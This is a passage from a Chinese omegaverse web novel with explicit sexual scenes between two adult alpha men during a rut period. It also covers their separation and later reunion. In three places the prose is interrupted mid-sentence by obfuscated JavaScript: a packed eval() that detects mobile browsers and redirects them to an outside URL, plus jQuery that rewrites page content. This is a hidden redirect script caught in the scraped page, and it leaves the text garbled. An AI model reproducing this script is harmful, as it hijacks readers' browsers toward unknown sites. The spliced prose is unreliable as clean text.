他觉得有哪里不对劲,心脏很悸动,身体很热,有种被人架在火上烤的感觉。 谢铮猛地翻身坐起,连打了好几个喷嚏:“我操——” 直到这一瞬间,路鹿这才意识到自己是易感期全面爆发了。 就因为谢铮的一个拥抱? 他跟着翻身坐起,想去床头拿抑制贴片,但手伸到半路却转了个方向,改成捧住谢铮的脸,路鹿用牙齿叼着谢铮的衣领研磨,在衣服上留下一小块深色的印记。 谢铮眯瞪了一会,也反应过来是怎么回事了。 每隔alpha的易感期症状不同,像谢铮打了抑制剂还能和朋友出去喝酒,一点事情都不耽误。有人就只能浑身冒着信息素地待在家里打滚,哪里都去不了。 路鹿应该算是反应很强烈的那种。 屋子里的柚子味浓郁到让人想打喷嚏,比起平时的清新更尖锐一些,因为a和a之间的互斥反应,谢铮的皮肤又开始泛疼。 路鹿一路舔吻到谢铮的喉结,坚硬的牙齿触碰在皮肤上,有种下一秒随时会被咬出血的错觉。 谢铮听到路鹿的呼吸声,很沉,谢铮看不清路鹿的脸,只能看到他的轮廓,觉得这个时候的路鹿很像一个成年男人,很性感。 路鹿的唇舌渐渐移动到谢铮的后颈,谢铮感觉到路鹿用牙齿把自己的皮肉叼了起来。 “我操……蠢鹿,你清醒点。”谢铮被路鹿按着手腕,竟然一时之间无法挣脱:“老子是a!你把我咬烂了也没法标记!” 路鹿的气息喷洒在谢铮后颈:“……试试?” 话音刚落,谢铮感觉到有尖锐的东西刺到了自己后颈里。 烟熏胡椒的味道和柚子味纠缠地混合在一起,谢铮感觉到有什么东西被注入到自己并不存在的腺体里,像是有人在用锥子凿自己,刺痛到让人浑身发麻。 谢铮几乎可以称得上是无助地用手使劲抓着身下的床单,头晕眼花、目眩神迷地弓起劲瘦的腰身,像是被人拉扯到极限的弓。 枕头底下的手机发出几声消息提示音,谢铮没空去理会,他听到自己哆嗦着求饶的声音:“谁来……救命……爽死了……救我……” 19.第 19 章 第19章 谢铮也不知道这次“标记”究竟持续了多久,像是几秒钟之内就完成了,又像是漫长到持续了几百万年。 路鹿松开牙齿以后,谢铮还保持着弓起来的姿势,一动不动地固定在原地。 好久之后谢铮才缓过来,浑身肌肉抽动几下,沉沉呼一口气出来。 路鹿还从后面压着他,气息落在刚刚谢铮刚刚被咬得发麻的后颈上:“谢叔叔。” 谢铮又缓了一会,才终于从那令人凝固的爽感中回过神来。 他第一件事情是去床头柜摸烟。 谢铮对路鹿的奶奶很有好感,尤其是在得知了路鹿的母亲是那个很负责的老师以后。在路鹿家的时候,谢铮都很克制地没吸过烟。 但现在不行,现在是真忍不住。 谢铮抖一颗烟叼在薄唇里,“咔哒”一声点燃。 他没有立刻合拢打火机,而是举着凑近路鹿。 橘黄色的火光中谢铮终于看清了路鹿的面庞。 柔软的额发微微湿润着贴在面颊上,薄薄的眼睑垂着,一向很清爽的表情笼罩着一层欲望。 omega的发/情期,alpha的易感期,都是很私密的事情,没人会把自己的这种时期对外展示,大多数人就算是面对家人都会保密。 谢铮还从来没有如此直面过另一个alpha的易感期症状。 他挑着眉,很有兴致地看路鹿一点点咬住自己的裤腰,亲吻自己的手指,直到火机的热度变得滚烫,这才将慢吞吞地合拢了打火机。 - 两人折腾了大半夜,第二天很难得地是谢铮先起来了。 路鹿昏昏沉沉地把自己蒙在被子里,怎么都起不来。谢铮骂骂咧咧地给他换了一个新的抑制贴片,自己先出去吃了早饭。 路鹿的奶奶是beta,对信息素并不敏感。从谢铮口中得知路鹿进入了易感期后,路鹿的奶奶露出了恍然的表情:“我说呢。” 她把蛋饼的盘子往谢铮那儿推了推:“谢老师,多吃点。” 谢铮点一下头,也不和她客套。 老人家很健谈,和谢铮讲了一些路鹿小时候的事,谢铮看着她双手捧着茶杯的动作,想到路鹿也会有这样类似的动作,原来是从这儿学的。 “鹿鹿每次易感期都挺难受的,我也帮不上什么忙。” 老人家说:“有一次还翻到地上,撞了额头,出了好多血,我还是听到鹿鹿敲门才去看的,打开门的一瞬间……哎哟……好在时间短,每次三五天就能完事,可真是够让人心疼的。” 谢铮沉默:“…………” 他后颈都快被这奶奶的好大孙咬穿了,倒是谁来心疼一下他。 谢铮反手摸一下后颈,创可贴下的皮肉还肿胀着,还在散发着像是被醋和辣油一起浸泡过一样又酸又热的痛感。 谢铮想到什么,舒展了一下手指:“那我这几天留下来。” 路鹿的奶奶哎呦一声:“谢老师,太麻烦你了。” “不麻烦。” 反正他也没什么事。 老人家倒是真的挺感激谢铮。 alpha的易感期很麻烦,路鹿分化之后的每次易感期她都只能守在门外,饭菜也是做好了放在门口,等路鹿自己来拿。 谢铮能帮忙照看一下,就算只是帮忙擦个汗,老人家都觉得太值得感激了。 谢铮回路鹿房间的时候给他带了点饭菜,一推门却是一愣。 路鹿还在床上躺着,但原本整洁的房间却变得乱糟糟的。 角落里小衣柜的门被打开了,空空荡荡;谢铮带来的小行李箱也被人打开了,衣服全被人洗劫一空。 那些衣服全都被路鹿堆在了床上,一件衣服叠着一层,像是垒墙。但衣服太少,只做了个半个弧形。 在那巢穴中谢铮看到了自己的一条衬衣,几根皮带,还有上次路鹿从他这儿拿的那条领带。 这是易感期alpha的筑巢行为,一般多发生在有伴侣的alpha身上,旨在创造一个安全的、充满自己和伴侣气味的巢穴,然后,暗无天日地做/爱,孕育下一代。 除去分化后的第一次易感期,谢铮还从来没有过这种行为,也只在杂志或者片里看过别的alpha筑的巢,亲眼见还是第一次。 他伸手碰碰。 该说路鹿不愧是雕塑专业的学生吗?他这半个巢穴摸起来很结实稳固,比起谢铮第一次的筑巢,已经可以说是艺术品级别的了。 空气中充斥着浓郁的柚子味道,alpha的信息素让谢铮皮肤越来越痛。 也是这疼让谢铮想起来自己是干什么来了。 他从另一面绕过去,看到床上一个鼓包,路鹿正把自己蒙在被子里。 谢铮掀开被子,拍拍路鹿的脸:“宝贝儿,起来吃饭。” 路鹿缓缓睁开眼。 他撑起身子,伸手接过谢铮手上的碗。 路鹿的奶奶很贴心地准备了勺子,路鹿捏着勺柄,很大口、很慢地咀嚼,眼神发呆地看着谢铮放在床单上的手指。 谢铮伸手在路鹿眼前挥了挥,路鹿的眼睛就跟着他的手指动。 谢铮想了想,凑上前去亲路鹿,舌头钻到路鹿嘴里,路鹿的动作依旧很慢,温吞地回应。 这让谢铮有种在欺负傻子的错觉,他站起身:“怎么比之前还蠢了?你吃吧,我出去转转。” 路鹿点了点头,看着谢铮走出去,继续低下头慢慢地吃饭,吃完,又拿过药瓶吞两粒药片。 谢铮以为他因为易感期变笨了,其实没有。 他的头脑还能正常地思考,甚至比往常还活跃,而正是因为这份活跃,路鹿的表现才没那么机灵。 他想到自己完成了一半的雕塑,想到了怎样才能用剩下的衣服将这个巢穴筑完,也想和谢铮做/爱,让alpha的身体由内而外地染上他的味道。 他还想再标记一次谢铮,虎牙刺破他蜜色的皮肤,将自己的信息素注入到男人不存在的腺体里。 也想听谢铮再说一说他之前的事情,最好是高中时候的,那时候的谢铮到底该有多嚣张? 晚上的时候路鹿已经把巢穴搭好了,圆溜溜的一整圈,仿佛圆规画出来的。 谢铮是觉得这样的床根本就没法睡人,主动提出去沙发睡。 他在心里骂自己脑残,放着五星酒店不睡,放着宋清远家的床不睡,简直像脑抽了一样非得留在路鹿家,睡这翻身都费劲儿的沙发。 隔天老田来了一次,他是来取宋清远家的钥匙的。 谢铮把宋清远那些宝贝花草的浇水频率告诉给老田,老田听得一个头两个大:“哥,要不我每天白天把你送到小孩这,晚上再把你接回去浇花?” 谢铮:“…………傻逼。” 老田笑:“哥你倒是对小孩真好,走心了?” 谢铮靠在墙上,香烟的火光在薄唇边若隐若现。谢铮说:“我有我的理由。” 老田张了张嘴,没敢问。 谢铮在客厅睡了四天,除去沙发确实挤了点,别的地方倒是完全没得挑。 路鹿的奶奶手艺很好,谢铮被老人家投喂得很满足,白天捧着电脑开开会,傍晚闲下来就去海滩走一圈,简直就和度假 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525699|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 似的。 第四天的时候,谢铮再去给路鹿送饭。 一进屋他就注意到有哪里不同。 谢铮抽抽鼻子,问路鹿:“你易感期结束了?” 路鹿那个巢还在床上,人看起来比之前精神很多,头发在脑后扎起来,翘着眼角趴在他的巢穴边上:“就剩尾巴了。” 他道谢:“这几天辛苦谢叔叔了。” “没事。”谢铮说:“从你工资里扣。” 路鹿噗嗤一笑,伸手接饭。 “多吃点你,”谢铮说:“今晚卖点力。” 路鹿:“咳……” 谢铮有意逗他,插着兜弯腰亲他。这是四天来的第一个吻,不再尖锐的柚子味道很清新,在闷热的夏日里让人通体舒畅,就在路鹿马上反守为攻的时候,谢铮突然站起身:“我出去转转。” 路鹿握住谢铮的手腕,用力一拽。 谢铮猝不及防地跌在床上。 路鹿从他衬衣下摆钻进去,从谢铮的角度能看到自己胸口鼓起一块,扣子和扣子之间的缝隙里还露出几撮浅色的头发。 谢铮隔着衣料去捏路鹿的后颈:“臭小子,你知道你老公的衣服多少钱吗?撑坏了把你卖了你都赔不起。” 路鹿问:“多少钱?” 谢铮:“……” 重点是这个吗? 胸膛传来湿润的触感,谢铮看不见路鹿,不知道他下一秒要亲吻哪里,反而更觉得刺激。 谢铮从来都遵循自己的欲望,既然有感觉了,塌腰往下一躺,脖子刚好垫在后面的衣服上,腿弯也恰好能搭在隆起的衣服堆上。 别的不说,倒挺舒服的。 也很刺激——在另一个alpha的巢穴里,被a占有。 虽然路鹿的易感期就要过去了,但可能是因为残余的影响,路鹿劲头比平时还大。刚开始还好,后面的时候谢铮又不受控制地发出那种类似于干呕的声音。 “唔……”从一半的时候,谢铮怕自己叫出声,随手扯了件路鹿的衣服塞到嘴里,这会儿他终于忍不住了,吐出湿漉漉的衣角:“……蠢鹿,你正常点行不行……操,你停得再久,老子又不会怀孕。” 路鹿顿了顿。 客厅里隐约传来电视机里播放新闻的声音。 路鹿低头,伸手抹去谢铮脸上的汗,轻声问:“谢叔叔怀孕好不好?” 谢铮:“…………” 他想笑,也想骂人,但对上路鹿认真的眼神的时候,却觉得小腹一阵抽搐,就好像自己真的生出了一个不存在的器官,此时此刻正在被人用力浇灌着。 谢铮抬起头想咬路鹿的肩膀,余光扫到路鹿缠着纱布的手臂的时候又紧急转了个方向,改成去咬路鹿的衣服。 他发出一声满足的、长长的、却近乎无声的呜咽。 谢铮瘫软在原地,勾着路鹿的脖子耳语:“小鹿,乖小鹿,我爱你。” 路鹿本来是要抱住谢铮的,闻言,身体猛地僵在原地。 好久后,他抿了抿唇,听到自己的声音问谢铮:“谢叔叔,以后能不说这个了吗?” “怎么了?” 路鹿没说话,沉默。 谢铮身体又抖两下,才渐渐清醒过来。 他勾起嘴角,捏捏路鹿的脸:“你不是爱听这个吗?听一次少一次了,宝贝儿。” 路鹿张了张嘴:“……为什么?” “为什么听一次少一次?” “我得回Y市了,”路鹿听到谢铮的回答:“我爸住院了,离家出走结束了。宝贝儿,暑假的时候有空来找叔叔玩,参观一下叔叔的产业。” 20.第 20 章 第20章 谢铮的语气还带着点漫不经心的笑意,像是在聊最平常的事。 路鹿慢慢撑起身体,坐直。 他问:“是因为,什么,叔叔住院了?” “不知道。在家突然就晕了,把胳膊摔断了。现在医生正在排查原因。” 按谢铮本来的想法,他至少要一个月后再回Y市。父母熬不过他,到时再没人能管住他。 虽然不能按照原本的计划进行很可惜,但父母的态度已经有所松动,谢铮对这样的结果还算满意。 路鹿问:“……所以才给我多打了钱?” 谢铮笑:“和那个没关系。是给你开完工资以后我才收到的消息。” 准确的说是路鹿“标记”他那天晚上收到的消息,谢铮头晕目眩地拿起手机一看差点痿了,这才在第二天做了个要在淮流待到路鹿易感期结束的决定。 路鹿“哦”了一声,又问:“那我们……” 谢铮听出来了路鹿想问什么,笑:“既然我回去了,这段关系也不用再继续了。放心,叔叔不是什么压榨员工的老板,没满一个月也按照一个月算。” 狭小的房间里路鹿安静了很久,就在谢铮几乎以为路鹿睡着了的时候,路鹿说:“我不要那么多。” 谢铮:“。” 蠢死了。 和蠢鹿比起来,他有的是钱,也给得起钱。路鹿没必要拒绝他最需要的东西。 不过谢铮没说话,就只是从嗓子里低低笑了两声——他可不想在大半夜的和路鹿像是在菜市场一样讨价还价。 路鹿很庆幸房间里没有开灯,谢铮看不到他现在的表情,一定很不好看。 他问谢铮:“……谢叔叔什么时候回去?” 谢铮舒展了一下身体:“明天。把你送回学校我就回——” “我一共请了五天的假。”路鹿突然打断谢铮:“明天还有一天的假。谢叔叔,我带你去我们这儿的步行街玩吧,街上有一家店,他们家的手工冰激凌和奶油小蛋糕我很喜欢吃,我带你去尝尝吧,很好吃的,真的。” 谢铮想了想:“也行。” - 路鹿的奶奶得知谢铮要走后,一口一个“谢老师辛苦了”地道谢,听得谢铮别扭不已,手臂往外冒鸡皮疙瘩。 老人家又叮嘱路鹿:“回学校后也好好听谢老师的话,知道吗?” 路鹿抿了下唇,眼睛弯弯:“知道知道!” 老人家还给谢铮拿了一塑料袋的番茄,听说是邻居自己种出来的特色品种,花花绿绿的一袋,挂在谢铮手臂上,说不出来的违和。 路鹿噗嗤一笑,伸手接过来:“我拿着吧,谢叔叔。” 谢铮耸了耸肩,把塑料袋递给路鹿。 路鹿口中的“步行街”曾经是淮流镇上每周六日的集市,近年来被改建成了一条长且宽阔的商业街,距离路鹿家不到二十分钟的车程。 打车到地方一看,分明不是休息日,人还挺多,三三两两的年轻人凑在一起走着,穿着打扮很漂亮,整条街都弥漫出一股很年轻朝气的气氛。 再往前走一走,才知道这么热闹的原因。 谢铮饶有兴趣地打量着面前巨大的广告牌:“要开演唱会啊?你认识这些明星吗?” 路鹿没纠正谢铮这不是“演唱会”,而是“地偶露天表演”,摇头:“我也不认识。” 谢铮咬着烟蒂,饶有兴趣地抬眸打量着广告牌上的几个明星。 脖子上都戴着颈环,皮肤白皙、眼眸水润,应该都是omega,而且算是o里面很漂亮的那种。 可惜完全不是谢铮感兴趣的类型。 从脸,到毫不扭捏的性格,再到床上那股不把人干死就不罢休的劲儿,路鹿完美地贴合了谢铮的每一个喜好。一想到回J市后就没什么机会再见到路鹿了,谢铮还真的挺可惜的。 他问路鹿:“你说的那家店在哪里?” “我找一下。” 据路鹿说,他已经有将近一年没有来过这边了,很多店铺都改了位置。他找几个人打听了一下,没过一会,谢铮看到路鹿朝自己走回来。 谢铮把手里的烟蒂按灭在垃圾桶上:“走吧。” 路鹿却摆了摆手:“谢叔叔,一个不幸的消息。” 谢铮扬眉。 “那家店关了。”路鹿笑:“我带你去吃别的吧,谢叔叔想吃什么?” 谢铮本来对吃食也不太讲究,今天来也是为了陪路鹿,闻言随意道:“吃你喜欢的吧。” 话虽这么说,因为演唱会的关系,店里大多满人,连坐的地方都没有,最终路鹿带着谢铮去了附近的一家连锁汉堡店。 “小孩口味。”谢铮看他在薯条上裹满番茄酱,忍不住笑他。 就在两人即将吃完的时候,谢铮听到外面传来一声震耳欲聋的:“喂——听得到吗?” 这声从麦克风里传出的声音就像是某种集结的讯号,店里的其他人不约而同地站起身,朝外走。 “表演要开始了,”路鹿回头朝外面看,又扭回头来看谢铮:“谢叔叔要去看吗?” 谢铮回想起那张巨大的海报。上面几个omega的面容他甚至已经记不清楚了。他兴致缺缺地道:“算了。有机会再说吧。” 有机会。 哪里有机会了? 谢铮会回到Y市,回到他富丽堂皇的办公室里; 而他会留在J市,念书,只有寒假和暑假的时候才可能去看一看谢铮。 其实就算再怎么认真维护,谢铮也会渐渐将他淡忘。这是距离和时间和功劳。 曾经他只听说谢铮的名字,知道一些他的事情。 后来谢铮突然出现在了他面前,那些碎片一样的记忆依附过去,拼凑成了谢铮完整的模样。 现在谢铮要离开了,就像他的到来一样突然。闪闪的光芒又将在路鹿的脑海里黯淡下去,因为距离和时间。 两人吃饭的地方是个靠窗的圆桌,这小桌子对两个身高都很优越的alpha来说实在有些狭窄了。 但谢铮从不是委屈自己的人,他微微后仰着身体,腿长长地伸着,右小腿偷懒地搭在路鹿的小腿上。 外面突然响起了超大声的音乐声和人群的欢呼声。 谢铮看到路鹿的嘴唇动了动,但他没听清路鹿到底说了什么。 谢铮往前倾了倾身子:“什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538535|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >路鹿凑近他,声音混合着音乐声:“……谢叔叔,让我再标记你一次吧!” 谢铮扬了扬眉,手指摸了摸嘴唇,没说行也没说不行,露出一个暧昧的笑。 等路鹿咽下最后一口鸡块,谢铮小腿摆动,撞了一下路鹿:“过来。” 说完起身,朝卫生间走。 卫生间里有个人在,谢铮靠在洗手台上,路鹿则站在门口。 那人的目光在谢铮和路鹿之间徘徊了几遍,谢铮阴恻恻地对他笑了一下:“看什么看?” 那人抖了一下,也不敢乱看了,拉上拉链赶紧出去了。 谢铮悠闲地洗了个手,走到隔间里。 路鹿跟在他身后进来。 他拿掉谢铮贴在后颈上的创可贴,看到蜜色的肌肤上已经不算明显的牙印。牙印旁边的皮肤翻着粉白色、有些肿胀。 谢铮感觉到路鹿的气息落在自己后颈上,他很配合地低头,身体先他的理智一步想起来被强行标记的疼痛,正因为兴奋而微微战栗、发热着。 但谢铮等了一会,路鹿却迟迟都没有咬下来。 谢铮:“……?” 他回头:“你不行的话换成我来也可——” 路鹿突然在他嘴唇上亲了一下。还没等谢铮品尝到嘴唇上的柚子味,男生的手按着谢铮的后脑勺往下一压,下一秒,谢铮后颈传来剧烈的疼痛,路鹿用力咬住了他的后颈。 信息素写被缓缓注入到身体来,酸痛难忍,谢铮一个踉跄趴在门板上,剧烈发抖起来。 ……好疼,真的好疼。像是被人用力打了一顿,像是下一秒就要死过去。 ……也好爽。 路鹿从后面使劲搂着他的腰身,在听不真切的音乐声和欢呼声中,缓慢地进行着这场根本就不可能完成的标记。 路鹿松开手臂的同时,谢铮腿软地往下跪。 路鹿弯腰,拇指去擦谢铮眼角的生理性泪水,却被谢铮狠狠抓着头发吻过去。 “宝贝儿,”唇舌漫无目的地就纠缠了一会后,谢铮喘着气说:“你太棒了,我会想你的。” 等谢铮收拾干净自己从快餐店出去,老田已经等在店外了。 谢铮问路鹿:“真不用送你回去?” 路鹿摇头:“不用了,我再多陪一天奶奶,明天再回学校。” “好。” 谢铮朝路鹿挥了挥手,跟着老田朝车停的方向走,“嗵”一声关上车门后,后视镜里的步行街越来越远。 三个小时后,老田将车停在了医院的门口。 孟海瑛在病房门口等谢铮,见到他的时候眼里露出一些欣慰的笑意,语气却冷淡:“你还知道回来。” 顿了顿,又说:“瘦了。” 谢铮推门进去看了看,谢进德睡着了,鼻子上戴着氧气管、手背上插着滞留针,整个人看起来很苍白。 他听到动静,疲倦地睁开眼睛,看到了谢铮。 “……回来了。” 谢铮嘴角扯起一个笑:“嗯,回来了。” - 路鹿微博 [发布于三天前] @Deer:我想到了,可以带X去吃那家的冰激凌。开心^^ 21.第 21 章 第21章 谢铮回到宸安,立刻被无数的酒局和应酬包围。 他过了两个月的悠闲日子,差点忘了自己之前过的是这种花天酒地的生活。 谢进德的检查一直查不出来是什么结果,谢铮给他办了个转院,又托关系给他找了个口碑好的医生。 谢铮也没忘找了个实习生过去给宋清远浇花。 实习生给谢铮拍了几次照,谢铮把照片给宋清远转发过去。 宋清远对此很欣慰:“养得比你养的好太多了。” 谢铮:“…………” 他是觉得有些人就活该阳痿。 时间一来二去地就过去了大半个月。 六月一号凌晨,谢铮开完会,翘着二郎腿坐在办公椅上抽烟,突然想起来一件事。 他抓起手机给路鹿发了个消息。 [谢]:生日快乐。 路鹿很快回了消息。 [蠢鹿]:嗯哈!谢谢叔叔! 顿了顿,又是一条消息:叔叔最近怎么样? 谢铮回:还行。 回完消息,谢铮顺手点进路鹿的朋友圈里。 两人刚加上好友的时候,路鹿的朋友圈里只有一条在猫咖里撸猫的图片,这段时间倒是又发了两条,一条的配图是一个高大的半成品骨骼维纳斯,路鹿的手在旁边比了个耶,骨节分明的手指上沾的全是泥和灰,连带着手腕和小臂上也沾了一些。 另一条倒是露脸了,但只有半张。男生手里拖着一只不知道哪里来的臭脸猫,蹲在地上眼睛弯弯地和猫合影,笑容很大很阳光,露出一点洁白的牙齿。 谢铮这段时间事业有成,身体却有点奇怪。 从分化到现在,他的欲望一向都很强烈。 但现在他可能一连好几天都想不到那种事,有时候情绪来得又快又猛烈又频繁,一天要纾解好几次还觉得不够过瘾。 老田还试探着问谢铮要不要找个新的,被谢铮一口拒绝。 宸安不比临渊,再怎么说也是在父母的眼皮底下,而且说不定你认识的谁就是对手派来挖信息的间/谍,就算不是,宸安这么多合作企业,一个alpha的枕边人也是alpha这消息传出去,对谢铮没什么好处。 其次谢铮也很难再找到一个像路鹿这么对他胃口的人。 综合考虑下来,谢铮更倾向于自己手动解决。 不过好在路鹿的朋友圈没对他隐藏,那几张照片已经被他盘到包浆,是很好用的素材。 六月末的时候,在医院休养得面色红润的谢进德出院了。 孟海瑛办了一次家庭聚会,邀请了谢里一家前来聚餐。 两家人关系一向不错,两个女性omega长辈更是亲如闺蜜。 话题像柳絮一样漫天飞舞,从越发闷热的天气到就业前景再到实事政治。 谢铮左耳进右耳出,喝着谢里带来的红酒走神。 孟海瑛突然问谢里:“小里谈恋爱了吗?” 谢里咳嗽一声:“……没有。” “和你哥哥学坏了,”孟海瑛笑:“现在的年轻人一个两个的都不结婚,你和谢铮可得尽早。” 孟海瑛突然想起来什么似的:“坚成老徐谢铮你还记得吗?他儿子我看就不错。乖巧可爱的一个omega,上次看到谢铮眼睛都直了,老徐的老婆还和我说让两个孩子有空见一面。” 谢铮把酒杯放在桌子上:“别说这个了。” “你这孩子就是太倔了。”孟海瑛看向谢里:“小里你帮我劝劝你哥。” 谢铮:“……” 他回家的这段时间,都是住在自己的公寓里,偶尔回家,父母也从来没再催他结婚找对象。 他虽然没以为自己不会被再催,但没想到这一天来得这么快。 最恶心的是孟海瑛竟然学会了怀柔。 语气放缓,脸上带笑,一副被他逼得没办法又宽容大度的表情。 谢铮隔着衬衣摸了摸肩膀上的骨骼纹身。 他本不想理会,却听到孟女士半是叹息地对谢里说:“我就是想让你哥哥过上正常幸福的日子。” 谢铮动作顿了顿。 刚刚喝下去的红酒,吃下去的饭菜,突然在谢铮胃里搅动起来,尖锐冰冷地刺着他的内脏,让谢铮有种呕吐的冲动。 谢铮面上不显,不动声色地坐在原地,但那种想要呕吐的感觉却越来越强烈。 谢铮猛地站起身,快步朝卫生间走。 他双手撑着洗手池的台子干呕了几声,但什么都没吐出来。 直到几分钟后那令人不适的恶心感才终于褪去,谢铮洗了把脸,总算好受了一点。 他抬头,从镜子看到谢里站在自己身后,脸上表情很复杂。 谢铮笑:“干嘛?偷看我上厕所?” 谢里:“…………” 谢里顿时满脸无语。 他问谢铮:“你没事吧?身体不舒服?” “有点。” “是因为姑姑说了那些话?” “和我妈没关系。”谢铮淡淡:“就是胃突然难受。” “胃怎么了?” “你哪来这么多好奇心?”谢铮点了根烟:“怀孕了行了吧。” 谢里:“…………” 他张了张嘴,想说什么,但最后还是一脸“我和你无话可说”地表情走了。 谢铮看着他的背影,忍不住笑,又突然抬高声音:“谢了。” 谢里没回头,摆了摆手。 隔天气温热得离谱,办公室里开着空调都出汗,谢铮让几个助理去买了冰激凌分给员工们。 不一会儿冒着寒气的冰激凌就被人抬上了楼,整层楼都响起热闹的欢呼声,公司群里开始不断刷屏起了“谢总万岁!!” 助理也拿了一袋过来让谢铮选,谢铮随手挑了个巧克力口味的,刚咬下去一口,闻着巧克力甜蜜的味道又突然觉得没胃口。 这样的事情接下来几天又发生了几次,要么是突然没胃口,要么是胃部有奇怪的痉挛,谢铮直觉奇怪,把这事儿和宋清远一说,丫还恭喜他:胃病是霸总标配,恭喜你更像一个合格的霸总了。 谢铮打算过几天公司体检的时候顺便跟着做个检查。 这天谢铮应酬回来,时间已经很晚。 也不是什么高峰期的时间,路上却很堵,一步一挪。 谢铮想靠着椅背睡一会都睡不安稳,黑着脸连骂好几声。 老田家里有个在上高中的小姑娘,笑着给谢铮解释:“哥,这几天学生放暑假呢,都来玩儿了。” 谢铮嗤笑一声:“大半夜的出来乱逛,遇到坏人就老实了。” “谁说不是呢?”老田应了一声,突然抬高声音:“哥,这不是那小孩吗?” 什么小孩?哪个小孩? 谢铮睁开眼,顺着老田手指的方向朝道路对面看过去,竟然看到了路鹿。 男生的头发看起来比之前短了点,但依旧能扎在脑后,清清爽爽地背着个书包,双手捧着一个面包在啃,很有食欲的吃相,从他旁边经过的人都是那种因为觉得很可爱所以露出了点笑来的神情。 谢铮笑了:“开过去。” 这地方没法拐弯,老田把车往前开了一段才能调头,一来一回地浪费了不少时间。 好在路鹿还在原地,那个大面包倒是已经吃完了,现在正在喝水,喉结起伏滚动着,整个人和今晚的夏夜很相配,清爽干净。 他按下车窗。 凌厉的眉眼一点点暴露在路鹿面前,接着是鼻梁、带着坏笑的薄唇。 路鹿先是奇怪,像是不知道为什么有人突然把车停在自己正前方,还往旁边走了两步。但随着车窗的不断下移,他就不动了,捏着空掉的矿泉水瓶站在原地,愣愣地和谢铮对视。 谢铮靠在车窗上,笑得很风流:“你放暑假了?” 路鹿张了张嘴,还没说话,先弯着眼睛笑起来。 谢铮扬了扬下巴:“这儿不让停车,先上车。” 路鹿还在笑,眼睛弯弯地绕到另一侧拉开车门坐上来。 随着路鹿的上车,谢铮闻到了一股很清新的柑橘类味道。 熟悉的柚子味。 闻到这味道的瞬间,谢铮眸色暗了暗。 那些和路鹿在一起的记忆成功被唤醒,他想起来自己曾经在狭窄的车上和路鹿吻得难舍难分,鼻梁撞着鼻梁,就连最简单的呼吸和吞咽口水都变得费力。 他问路鹿:“什么时候来的宸安?怎么不联系我?” “昨天就过来了,和同学一起。”路鹿答:“我们来找工作的。也想联系谢叔叔的,但想着先找到工作再说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15538536|169551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “只是因为工作?” 这辆车没有挡板,老田装作自己是一个双耳失聪的司机,安静地开车。 路鹿抿着嘴唇笑。 谢铮其实也拿不准路鹿这次来宸安的理由里会不会有一条是来找他的。 他又和路鹿闲聊了几句“考完试了”、“感觉成绩怎么样”之类的屁话,觉得自己应该释放一点信号。 路鹿脑子很机灵,一定懂他的意思。要是不接,他也不会强求,要是接了,他也不介意继续给路鹿开一两个月的工资。 这样想着,谢铮往路鹿那坐了点。 他又问:“只是因为想打工才来的宸安?” 路鹿:“还有来这边玩一玩,这边景点多,暑假的时候很多都对学生免费开放,我们正好可以去写生。” 谢铮扬了扬眉,觉得自己明白了路鹿的回答:“你住哪?我让老田送你回——” 话还没说完,他的脸突然被人用双手捧住,路鹿就那么吻了上来,舌头勾着他的舌头,牙齿在谢铮舌尖上轻轻地咬,吸吮的力道很大,像是要把谢铮吞下去似的。 唇瓣相接的瞬间,谢铮的躁动得到了满足。 路鹿忍住想叹息的冲动。 他是想这几天安顿下来后再去联系谢铮的,也许换一个城市以后,两人可以换一种和之前不同的身份来接触。可刚刚谢铮的话让路鹿清醒,只要他拒绝,谢铮就会消失不见,从他的生活中,再次。 微妙的水声回荡在狭小安静的车厢空间里,老田伸手拧开了电台,音乐声顿时盖过了一切声音,他调转车头继续朝谢铮的公寓开。 这吻持续了很久,谢铮在这吻中渐渐想到了更多关于路鹿的事情。 他更加清晰地回忆起了一切关于路鹿的细节。他想起两人每次上床,路鹿虽然表情很清爽,却也不是不流汗,汗水顺着他白皙的身体落下来,砸在谢铮锻炼痕迹明显的身体上,很多时候是落在小腹上的,那里通常会显现出某种形状。 光是回忆起那一次次的小死,谢铮就不由自主地兴奋起来,烟熏胡椒的味道迅捷地灌满了轿车空间。 老田很快把两人送回了家,谢铮被路鹿按在门板上轻柔地亲吻着,谢铮很讨厌这样不温不火的吻,按着路鹿的后颈主动想要加深,几次下来却都被避开了。 “操……长本事了。”谢铮使劲在路鹿下唇上咬了一下:“小鹿崽子,你长本事了。” 路鹿的嘴唇贴着谢铮的嘴唇,问:“叔叔想要吗?” “……你再和老子说废话试试看。” 路鹿问:“那叔叔想我吗?” 谢铮坏笑:“想啊。” 